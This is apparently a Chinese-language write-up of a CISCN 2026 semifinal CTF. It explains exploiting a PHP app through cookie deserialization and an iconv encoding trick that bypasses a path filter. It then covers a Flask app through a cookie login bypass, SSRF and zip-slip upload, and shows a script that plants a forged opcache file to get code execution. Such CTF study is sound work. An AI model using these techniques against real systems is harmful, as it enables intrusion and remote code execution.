ciscn2026半决赛复盘

前情概要

遗憾三等奖,止步半决赛,赛前其实还挺有信心的,感觉修复就那点流程,结果被python给制裁了,再加上渗透打的一坨

题目分析

awdp

MediaDrive

BREAK

一道比较简单的php,漏洞点比较明显,看一眼关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
if (isset($_COOKIE['user'])) {
$user = @unserialize($_COOKIE['user']);
}
if (!$user instanceof User) {
$user = new User("guest");
setcookie("user", serialize($user), time() + 86400, "/");
}

$f = (string)($_GET['f'] ?? "");
if ($f === "") {
http_response_code(400);
echo "Missing parameter: f";
exit;
}

$rawPath = $user->basePath . $f;

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
http_response_code(403);
echo "Access denied";
exit;
}

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
http_response_code(500);
echo "Conversion failed";
exit;
}

$content = @file_get_contents($convertedPath);
if ($content === false) {
http_response_code(404);
echo "Not found";
exit;
}

重点看$convertedPath的生成逻辑,是由$rawPath = $user->basePath . $f;,然后转成UTF-8

那么继续看$rawPath可不可控,显然后半段$f是可控的,前半段是User的类对象的一个属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//User.php
<?php
declare(strict_types=1);

class User {
public string $name = "guest";
public string $encoding = "UTF-8";
public string $basePath = "/var/www/html/uploads/";

public function __construct(string $name = "guest") {
$this->name = $name;
}
}

虽然写死了,但是因为$user是从cookie里面拿出来然后反序列化的,所以我们可以通过反序列化改他的属性

1
O:4:"User":3:{s:4:"name";s:5:"guest";s:8:"encoding";s:15:"ISO-2022-CN-EXT";s:8:"basePath";s:1:"/";}

那么现在$rawPath就完全可控了,但是想要读flag还得过一个waf,这里有一个很明显的点,它过了一层waf再做编码转换,很显然顺序有问题,可以通过编码来绕过

查一下iconv函数

1
如果你添加了字符串 //IGNORE,不能以目标字符集表达的字符将被默默丢弃。 

我们只需要找到一个UTF-8没办法表示的字符就行了,这里用就可以

我们令f=fl€ag,就可以绕过

FIX

修复很简单,可以直接把反序列化删了,也可以上一个强力waf

easy_time

BREAK

这题是赛后复现的,有两种做法,事实上本来只有一种做法的,这点待会说

首先看他的登录逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.route('/login', methods=['GET', 'POST'])
def login():
if flask.request.method == 'POST':
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')

h1 = hashlib.md5(password.encode('utf-8')).hexdigest()
h2 = hashlib.md5(h1.encode('utf-8')).hexdigest()
next_url = flask.request.args.get("next") or flask.url_for("dashboard")

if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":
resp = flask.make_response(flask.redirect(next_url))
resp.set_cookie('visited', 'yes', httponly=True, samesite='Lax')
resp.set_cookie('user', username, httponly=True, samesite='Lax')
return resp

这个密码的hash是可以爆破的,爆出来是secret

当然也不可以不用爆破,因为他的身份验证模块是纸糊的

1
2
def is_logged_in() -> bool:
return flask.request.cookies.get("visited") == "yes" and bool(flask.request.cookies.get("user"))

既然登录不成问题了,我们继续分析登录后的功能点

20260325203757

很容易看到三个功能点在about页面里面有一个很明显的ssrf,不用看代码也能发现

屏幕截图 2026-03-25 204514

看源码可以发现内网是有php服务,那么我们就可以从这里访问内网的php服务

我们再看上传插件的代码

1
2
3
4
5
6
7
8
9
10
def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
with zipfile.ZipFile(zip_path, 'r') as z:
for info in z.infolist():
target = os.path.join(dest_dir, info.filename) #直接拼接导致目录穿越
if info.is_dir():
os.makedirs(target, exist_ok=True)
else:
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, 'wb') as f:
f.write(z.read(info.filename))

一眼目录穿越,那么这里就有了第一种解法(事实上源码里写了一个安全的没有问题的上传函数,咱也不知道为啥他不用那个函数)

直接传马到/var/www/html/1.php,然后利用ssrf访问,读一下flag就行。

到这里这题就已经能打出来了,比赛的时候大部分人应该也是这样打出来的,但是这很明显是非预期解,证据如下:

  1. 题目的描述为:你知道时间的真谛吗?
  2. 如果你用他给的dockerfile起环境你就会发现,他的所有目录都是只读的,除了一些单列出来的目录,压根没法把马传到/var/www/html下面
屏幕截图 2026-03-25 205025

那么就来到了这题的第二种解法,也是预期解。他给的附件里有三个php文件

  • date.php 返回index.php的时间戳
  • index.php 没啥东西
  • phpinfo.php 返回phpinfo

并且它的dockerfile里面写了:RUN docker-php-ext-configure opcache --enable-opcache && docker-php-ext-install opcache

可以猜到是打opcache来getshell,翻阅一下他的php.ini也可以发现opcache开了

打opcache需要两个东西,时间戳和systemid

时间戳可以访问date.php得到index.php的时间戳,那肯定是覆盖index.php.bin了

systemid可以使用如下脚本生成(php版本号+API)

1
2
<?php
var_dump(md5("8.2.15API420220829,NTSBIN_4888(size_t)8\002"));
屏幕截图 2026-03-25 211546

这里都有了之后我们只现自己起个环境生成一个内容是一句话木马的index.php.bin文件,然后修改掉systemid和时间戳

屏幕截图 2026-03-25 205804

php的配置文件写了opcache的目录是/tmp,所以我们要把文件传到/tmp/system_id/var/www/html/index.php.bin

1
2
3
4
5
6
import zipfile

with zipfile.ZipFile("upload.zip",'w') as zf:
data = open('index.php.bin','rb').read()
zf.writestr('../../../../../../../../../../tmp/45b8be9467d6ed29438f06cfe9cee9f6/var/www/html/index.php.bin',data)

从上传插件处上传zip,再从ssrf访问

屏幕截图 2026-03-25 210008

成功rce

FIX

修复真的很难评,浙江赛区全场就两个队修了,其他赛区貌似也没有情况更好的,python害我!

ISW

没啥好说了,渗透小菜鸡,只打了个shiro反序列化拿了一个flag

总结

平时少用ai一把梭,多看看代码,写写代码。一直在说要练渗透,一直没行动,该提上日程了。


ciscn2026半决赛复盘
http://example.com/2026/03/25/ciscn2026-ban-jue-sai-fu-pan/
作者
onehang
发布于
2026年3月25日
许可协议